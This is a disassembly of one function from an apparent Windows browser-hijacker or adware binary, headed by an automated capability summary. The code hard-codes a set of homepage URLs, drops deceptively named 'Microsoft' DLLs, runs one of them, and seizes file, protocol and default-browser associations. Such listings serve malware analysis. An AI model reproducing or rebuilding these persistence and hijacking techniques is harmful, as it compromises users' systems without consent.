Function at 0x402530
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4037ff
push eax
mov dword fs:[0], esp
sub esp, 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call sub.MFC42.DLL_AfxWinInit
test eax, eax
jne 0x40259d
mov eax, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Fatal_Error:_MFC_initialization_failed
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
add esp, 0xc
mov eax, 1
mov ecx, dword [esp + 0xd8]
mov dword fs:[0], ecx
add esp, 0xe4
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call esi
call esi
call esi
call esi
cdq
mov ecx, 0xb
mov ebx, 3
idiv ecx
test edx, edx
jne 0x4025d8
push str.http:__www.t7t7.net_
jmp 0x402648
cmp edx, 1
jne 0x4025e4
push str.http:__www.vv33.com_
jmp 0x402648
cmp edx, ebx
jne 0x4025ef
push str.http:__www.rr55.com_
jmp 0x402648
cmp edx, 4
jne 0x4025fb
push str.http:__www.t2t2.net_
jmp 0x402648
cmp edx, 5
jne 0x402607
push str.http:__www.4j4j.cn_
jmp 0x402648
cmp edx, 6
jne 0x402613
push str.http:__www.tt265.net_
jmp 0x402648
cmp edx, 7
jne 0x40261f
push str.http:__www.kkk333.net_
jmp 0x402648
cmp edx, 8
jne 0x40262b
push str.http:__www.pppdd.com_
jmp 0x402648
cmp edx, 9
jne 0x402637
push str.http:__www.hao9991.net_
jmp 0x402648
cmp edx, 2
jne 0x402643
push str.http:__www.k2345.net_
jmp 0x402648
push str.http:__www.2345p.com_
mov ecx, 0x4060fc
call sub.MFC42.DLL_CString::operator
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x50]
push ebp
push edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x58], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x1c]
call fcn.00403312
lea ecx, [esp + 0x24]
mov dword [esp + 0xf0], 0
call fcn.00403312
push 0x100
push 0x100
lea ecx, [esp + 0x24]
mov byte [esp + 0xf8], 1
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0xf4], 2
call fcn.0040333c
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], 1
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x58]
lea ecx, [esp + 0x2c]
push ecx
cmp eax, 6
push 0x20019
push 0
jne 0x402800
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call ebp
test eax, eax
jne 0x40276f
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
push edx
push 0x104
mov dword [esp + 0x28], 0x104
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov eax, dword [esp + 0x34]
push 0
push 0
push str.RegisteredOwner
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x1c]
mov ecx, 0x4060f8
push edx
call fcn.0040333c
push str.Users_
mov ecx, 0x4060f8
call fcn.0040331e
lea eax, [esp + 0x24]
mov ecx, 0x4060f8
push eax
call sub.MFC42.DLL_CString::operator_1
push str.AppDataRoaming
mov ecx, 0x4060f8
call fcn.0040331e
lea ecx, [esp + 0x1c]
push ecx
mov ecx, 0x4060f0
call fcn.0040333c
push str.UsersPublicDesktop
mov ecx, 0x4060f0
call fcn.0040331e
lea edx, [esp + 0x1c]
mov ecx, 0x4060f4
push edx
call fcn.0040333c
push str.Users_
mov ecx, 0x4060f4
call fcn.0040331e
lea eax, [esp + 0x24]
mov ecx, 0x4060f4
push eax
call sub.MFC42.DLL_CString::operator_1
push str.Desktop
jmp 0x4028e8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call ebp
test eax, eax
jne 0x40285c
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
push edx
push 0x104
mov dword [esp + 0x28], 0x104
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov eax, dword [esp + 0x34]
push 0
push 0
push str.AltDefaultUserName
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x1c]
mov ecx, 0x4060f8
push edx
call fcn.0040333c
push str.Documents_and_Settings_
mov ecx, 0x4060f8
call fcn.0040331e
lea eax, [esp + 0x24]
mov ecx, 0x4060f8
push eax
call sub.MFC42.DLL_CString::operator_1
push str.Application_Data
mov ecx, 0x4060f8
call fcn.0040331e
lea ecx, [esp + 0x1c]
push ecx
mov ecx, 0x4060f0
call fcn.0040333c
push str.Documents_and_SettingsAll_Users_
mov ecx, 0x4060f0
call fcn.0040331e
lea edx, [esp + 0x1c]
mov ecx, 0x4060f4
push edx
call fcn.0040333c
push str.Documents_and_Settings_
mov ecx, 0x4060f4
call fcn.0040331e
lea eax, [esp + 0x24]
mov ecx, 0x4060f4
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x405f14
mov ecx, 0x4060f4
call fcn.0040331e
lea ecx, [esp + 0x28]
call fcn.00403312
push str.MicrosoftIMJP8_1xungc.dll
lea ecx, [esp + 0x24]
push 0x4060f8
push ecx
mov byte [esp + 0xfc], bl
call sub.MFC42.DLL_operator_2
mov esi, dword [eax]
push 0x100
push 0x100
lea ecx, [esp + 0x30]
mov byte [esp + 0xf8], 4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call esi
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], bl
call sub.MFC42.DLL_CString::CString
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov edx, dword [esp + 0x28]
push edx
call fcn.00401180
add esp, 4
lea eax, [esp + 0x20]
push str.MicrosoftMMCjifef.dll
push 0x4060f8
push eax
call sub.MFC42.DLL_operator_2
mov edi, dword [eax]
push 0x100
push 0x100
lea ecx, [esp + 0x30]
mov byte [esp + 0xf8], 5
call sub.MFC42.DLL_CString::GetBuffer
push eax
push edi
call esi
lea ecx, [esp + 0x20]
mov byte [esp + 0xf0], bl
call sub.MFC42.DLL_CString::CString
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00401180
push 1
push 4
push str.871C5380_42A0_1069_A2EA_08002B30309D
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel
push 0x80000003
call fcn.004014e0
add esp, 0x18
call fcn.00402480
xor esi, esi
xor ebx, ebx
xor edi, edi
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x14]
mov byte [esp + 0xf0], 6
call fcn.00403312
lea edx, [esp + 0x10]
mov byte [esp + 0xf0], 7
push edx
push 0xf003f
push ebx
mov dword [esp + 0x40], 0x100
mov dword [esp + 0x1c], ebx
push str.SOFTWAREMicrosoftADs
push 0x80000002
call ebp
cmp eax, ebx
pop ebp
jne 0x402a87
mov esi, dword [esp + 0xc]
push 0x100
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], esi
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x30]
lea edx, [esp + 0xc]
push ecx
push eax
push edx
push ebx
push str.filepath
push esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x402a65
mov edi, 1
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
cmp esi, ebx
je 0x402aff
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x1c], esi
jmp 0x402aff
push 0x100
push 0x100
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4053d8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xf0], 8
call fcn.0040333c
lea ecx, [esp + 0xc]
mov byte [esp + 0xec], 7
call sub.MFC42.DLL_CString::CString
push str.Program_FilesxunjieXunJie.exe
lea ecx, [esp + 0x14]
call fcn.0040331e
mov edi, 1
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CFileFind::CFileFind
mov ecx, dword [esp + 0x10]
push ebx
push ecx
lea ecx, [esp + 0x3c]
mov byte [esp + 0xf4], 9
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
jne 0x402b28
mov edi, 1
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CFileFind::Close
call fcn.00401db0
test eax, eax
je 0x402b3e
cmp edi, ebx
je 0x402b7f
push 0x4060f8
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
push str.MicrosoftIMJP8_1xungc.dll__s
lea ecx, [esp + 0x10]
mov byte [esp + 0xf0], 0xa
call fcn.0040331e
mov edx, dword [esp + 0xc]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0xc]
mov byte [esp + 0xec], 9
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x10]
push eax
call fcn.004023f0
add esp, 4
lea ecx, [esp + 0x14]
call fcn.00403312
lea ecx, [esp + 0x2c]
mov byte [esp + 0xec], 0xb
call fcn.00403312
push 0x405e0c
lea ecx, [esp + 0x18]
mov byte [esp + 0xf0], 0xc
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
push edx
call fcn.0040333c
push str._____1_
lea ecx, [esp + 0x18]
call fcn.0040331e
push str.XunJie.Association.HTML
push 0x4061c4
push str.SOFTWAREClasses.htm
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061c4
push str.SOFTWAREClasses.html
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061c4
push str.SOFTWAREClasses.mht
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push 0x4061c4
push str.SOFTWAREClasses.mhtml
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie_Document
push 0x4061c4
push str.XunJie.Association.HTML
push 0x80000000
call fcn.00401370
push 0x4061c4
push str.URL_Protocol
push str.XunJie.Association.HTML
push 0x80000000
call fcn.00401370
add esp, 0x20
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push 0x405d68
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061c4
push str.XunJie.Association.HTMLDefaultIcon
push 0x80000000
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x4061c4
push 0x4061c4
push str.XunJie.Association.HTMLShell
push 0x80000000
call fcn.00401370
push 0x405d18
push 0x4061c4
push str.XunJie.Association.HTMLShellOpen
push 0x80000000
call fcn.00401370
mov edx, dword [esp + 0x34]
push edx
push 0x4061c4
push str.XunJie.Association.HTMLShellOpenCommand
push 0x80000000
call fcn.00401370
push str.XunJie
push 0x4061c4
push str.SOFTWAREClasseshtmlfile_shell
push 0x80000002
call fcn.00401370
add esp, 0x40
push 0x405d18
push 0x4061c4
push str.SOFTWAREClasseshtmlfile_shellXunJie
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x24]
push eax
push 0x4061c4
push str.SOFTWAREClasseshtmlfile_shellXunJiecommand
push 0x80000002
call fcn.00401370
push 0x405d18
push 0x4061c4
push str.SOFTWAREClassesmhtmlfile_shellXunJie
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x44]
push ecx
push 0x4061c4
push str.SOFTWAREClassesmhtmlfile_shellXunJiecommand
push 0x80000002
call fcn.00401370
add esp, 0x40
push 0x405be8
push 0x4061c4
push str.SOFTWAREClassesHTTP_shell
push 0x80000002
call fcn.00401370
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClassesHTTP_shellXunJie
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x34]
push edx
push 0x4061c4
push str.SOFTWAREClassesHTTP_shellXunJiecommand
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x44]
push eax
push 0x4061c4
push str.SOFTWAREClassesHTTP_shellopencommand
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x54]
add esp, 0x40
push ecx
push 0x4061c4
push str.SOFTWAREClasseshttps_shellopencommand
push 0x80000002
call fcn.00401370
push 0x405be8
push 0x4061c4
push str.SOFTWAREClasseshttps_shell
push 0x80000002
call fcn.00401370
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClasseshttps_shellXunJie
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x44]
push edx
push 0x4061c4
push str.SOFTWAREClasseshttps_shellXunJiecommand
push 0x80000002
call fcn.00401370
mov eax, dword [esp + 0x54]
add esp, 0x40
push eax
push 0x4061c4
push str.SOFTWAREClassesInternetShortcut_shellopencommand
push 0x80000002
call fcn.00401370
push 0x405be8
push 0x4061c4
push str.SOFTWAREClassesInternetShortcut_shell
push 0x80000002
call fcn.00401370
push 0x405d18
push 0x4061c4
push str.SOFTWAREClassesInternetShortcut_shellXunJie
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x44]
push ecx
push 0x4061c4
push str.SOFTWAREClassesInternetShortcut_shellXunJiecommand
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie.exe
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternet
push 0x80000002
call fcn.00401370
push 0x405d18
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJie
push 0x80000002
call fcn.00401370
push 0x405d18
push str.LocalizedString
push str.SOFTWAREClientsStartMenuInternetXunJie.exe
push 0x80000002
call fcn.00401370
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shell
push 0x80000002
call fcn.00401370
add esp, 0x40
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shellopen
push 0x80000002
call fcn.00401370
mov edx, dword [esp + 0x24]
push edx
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJie.exe_shellopencommand
push 0x80000002
call fcn.00401370
push str.The_award_winning_Web_browser_is_better_than_ever
push str.ApplicationDescription
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
add esp, 0x30
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push 0x405d68
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ApplicationIcon
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x405d18
push str.ApplicationName
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilities
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..htm
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..html
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str..mht
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie.Association.HTML
push str..mhtml
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesFileAssociations
push 0x80000002
call fcn.00401370
push str.XunJie
push str.StartmenuInternet
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
push str.XunJie
push str.StartmenuInternet
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesUrlAssociations
push 0x80000002
call fcn.00401370
push str.XunJie.Association.HTML
push str.http
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
add esp, 0x40
push str.XunJie.Association.HTML
push str.https
push str.SOFTWAREClientsStartMenuInternetXunJieCapabilitiesStartmenu
push 0x80000002
call fcn.00401370
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0xc]
push 0x405d68
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJieDefaultIcon
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
push str.___SetDefault
lea edx, [esp + 0x10]
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.HideIconsCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 1
push str.IconsVisible
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401450
add esp, 0x10
lea eax, [esp + 0x2c]
push str.___SetDefault
lea ecx, [esp + 0x10]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ReinstallCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x2c]
push str.___SetDefault
lea eax, [esp + 0x10]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push str.ShowIconsCommand
push str.SOFTWAREClientsStartMenuInternetXunJieInstallInfo
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJieShell
push 0x80000002
call fcn.00401370
push 0x4061c4
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJieShellopen
push 0x80000002
call fcn.00401370
mov ecx, dword [esp + 0x30]
push ecx
push 0x4061c4
push str.SOFTWAREClientsStartMenuInternetXunJieShellopencommand
push 0x80000002
call fcn.00401370
push str.IThunderMx
push 0x4061c4
push str.SOFTWAREClassesInterface41906A82_C6BE_4329_96D5_543B29A18BA9
push 0x80000002
call fcn.00401370
add esp, 0x40
lea edx, [esp + 0x10]
lea eax, [esp + 0xc]
push 0x405518
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push eax
push 0x4061c4
push str.SOFTWAREClassesInternetShortcutDefaultIcon
push 0x80000002
call fcn.00401370
add esp, 0x10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push str.SoftwareClientsStartMenuInternetXunJieCapabilities
push str.XunJie
push str.SOFTWARERegisteredApplications
push 0x80000002
call fcn.00401370
push 0x4061c4
push str.D27CDB6E_AE6D_11CF_96B8_444553540000
push str.SOFTWAREMicrosoftInternet_ExplorerActiveX_Compatibility
push 0x80000002
call fcn.00401400
add esp, 0x20
call fcn.00401800
mov byte [esp + 0xec], 0xb
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0xec], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0xec], 7
call fcn.004033a8
lea ecx, [esp + 0x10]
mov byte [esp + 0xec], 6
call sub.MFC42.DLL_CString::CString
cmp esi, ebx
je 0x4032ae
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x24]
mov byte [esp + 0xec], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xec], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0xec], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xe4]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0xe4
ret